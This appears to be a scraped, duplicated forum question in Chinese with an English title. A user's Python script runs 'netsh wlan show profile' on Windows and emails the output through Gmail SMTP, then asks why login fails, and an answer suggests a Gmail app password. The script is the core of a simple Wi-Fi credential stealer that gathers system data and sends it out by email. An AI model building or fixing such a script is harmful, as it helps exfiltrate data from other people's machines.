为什么我会收到身份验证错误?
Why am I getting an authentication error?
我启用了“不太安全的应用程序”,但仍然收到此错误。密码和登录名正确
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
comand = "netsh wlan show profile"
result = subprocess.check_output(comand, shell=True)
send_mail("my email", "my password", result)
Traceback (most recent call last):
File "d:/asdasd/main.py", line 12, in <module>
send_mail("my email", "my password", result)
File "d:/asdasd/main.py", line 6, in send_mail
server.login(email, password)
File "C:\Python27\lib\smtplib.py", line 623, in login
raise SMTPAuthenticationError(code, resp)
smtplib.SMTPAuthenticationError: (535, '5.7.8 Username and Password not accepted. Learn more at\n5.7.8 https://support.google.com/mail/?p=BadCredentials b3-20020a056512304300b004488e49f2fasm2187075lfb.129 - gsmtp')
您需要在 google 帐户上创建应用密码。
只是 google“gmail 应用程序专用密码”
BR
我启用了“不太安全的应用程序”,但仍然收到此错误。密码和登录名正确
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
comand = "netsh wlan show profile"
result = subprocess.check_output(comand, shell=True)
send_mail("my email", "my password", result)
Traceback (most recent call last):
File "d:/asdasd/main.py", line 12, in <module>
send_mail("my email", "my password", result)
File "d:/asdasd/main.py", line 6, in send_mail
server.login(email, password)
File "C:\Python27\lib\smtplib.py", line 623, in login
raise SMTPAuthenticationError(code, resp)
smtplib.SMTPAuthenticationError: (535, '5.7.8 Username and Password not accepted. Learn more at\n5.7.8 https://support.google.com/mail/?p=BadCredentials b3-20020a056512304300b004488e49f2fasm2187075lfb.129 - gsmtp')
您需要在 google 帐户上创建应用密码。
只是 google“gmail 应用程序专用密码”
BR